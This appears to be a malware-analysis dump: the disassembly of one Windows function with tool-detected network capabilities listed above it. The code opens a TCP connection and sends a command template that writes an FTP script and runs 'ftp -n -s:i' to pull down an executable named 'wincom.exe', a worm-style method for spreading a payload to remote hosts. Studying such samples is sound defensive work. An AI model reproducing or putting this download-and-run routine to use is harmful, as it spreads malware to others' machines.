Function at 0x140004c10
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
jmp 0x140004c10
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x8b0
mov rax, qword [0x14001be00]
xor rax, rsp
mov qword [rsp + 0x8a0], rax
movups xmm0, xmmword [rcx]
lea rax, [rsp + 0x50]
mov edi, 2
movups xmm1, xmmword [rcx + 0x10]
mov ebx, edx
mov qword [rsp + 0x48], 0
movups xmmword [rax], xmm0
mov word [rsp + 0x40], di
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x10], xmm1
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x20], xmm0
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x30], xmm1
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x40], xmm0
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x50], xmm1
movups xmm1, xmmword [rcx + 0x80]
movups xmmword [rax + 0x60], xmm0
movups xmm0, xmmword [rcx + 0x70]
movups xmmword [rax + 0x70], xmm0
movups xmm0, xmmword [rcx + 0x90]
movups xmmword [rax + 0x80], xmm1
movups xmm1, xmmword [rcx + 0xa0]
movups xmmword [rax + 0x90], xmm0
movups xmm0, xmmword [rcx + 0xb0]
lea rcx, [rsp + 0x58]
movups xmmword [rax + 0xa0], xmm1
movups xmmword [rax + 0xb0], xmm0
call qword [sym.imp.WS2_32.dll_inet_addr]
movzx ecx, bx
mov dword [rsp + 0x44], eax
call qword [sym.imp.WS2_32.dll_htons]
xor r8d, r8d
mov edx, 1
mov ecx, edi
mov word [rsp + 0x42], ax
call qword [sym.imp.WS2_32.dll_socket]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x140004e7f
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rsp + 0x40]
mov rcx, rax
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x140004e7f
xor r9d, r9d
lea rdx, [rsp + 0x4a0]
mov r8d, 0x400
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_recv]
mov rcx, qword [rsp + 0x50]
call fcn.140001005
lea rsi, str.wincom.exe
mov r9, rax
mov eax, dword [0x14001d8e0]
lea r8, str.echo_open__s__d___iecho_user_1_1____i_echo_get__s____i_echo_quit____i_ftp__n__s:i__s_r_n
mov qword [rsp + 0x30], rsi
lea rcx, [rsp + 0x110]
mov qword [rsp + 0x28], rsi
mov edx, 0x190
mov dword [rsp + 0x20], eax
call fcn.14000123f
mov rbx, 0xffffffffffffffff
lea rax, [rsp + 0x110]
mov r8, rbx
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140004d90
xor r9d, r9d
lea rdx, [rsp + 0x110]
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_send]
cmp eax, ebx
je 0x140004e7f
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r9, rsi
lea r8, str._s_r_n
mov edx, 0x190
lea rcx, [rsp + 0x110]
call fcn.14000123f
mov r9, rsi
lea r8, [rsp + 0x58]
lea rdx, [0x1400163f8]
lea rcx, [rsp + 0x2a0]
call fcn.140001393
cmp dword [rsp + 0x104], 0
jne 0x140004e22
mov r9d, dword [rsp + 0x100]
lea r8, [rsp + 0x2a0]
mov rcx, qword [rsp + 0x50]
lea rdx, [rsp + 0x68]
call fcn.14000115e
lea rax, [rsp + 0x110]
nop word [rax + rax]
inc rbx
cmp byte [rax + rbx], 0
jne 0x140004e30
mov r8, rbx
lea rdx, [rsp + 0x110]
xor r9d, r9d
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x140004e7f
xor r9d, r9d
lea rdx, [rsp + 0x4a0]
mov r8d, 0x400
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_recv]
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_closesocket]
mov eax, 1
jmp 0x140004e81
xor eax, eax
mov rcx, qword [rsp + 0x8a0]
xor rcx, rsp
call fcn.1400011d6
lea r11, [rsp + 0x8b0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret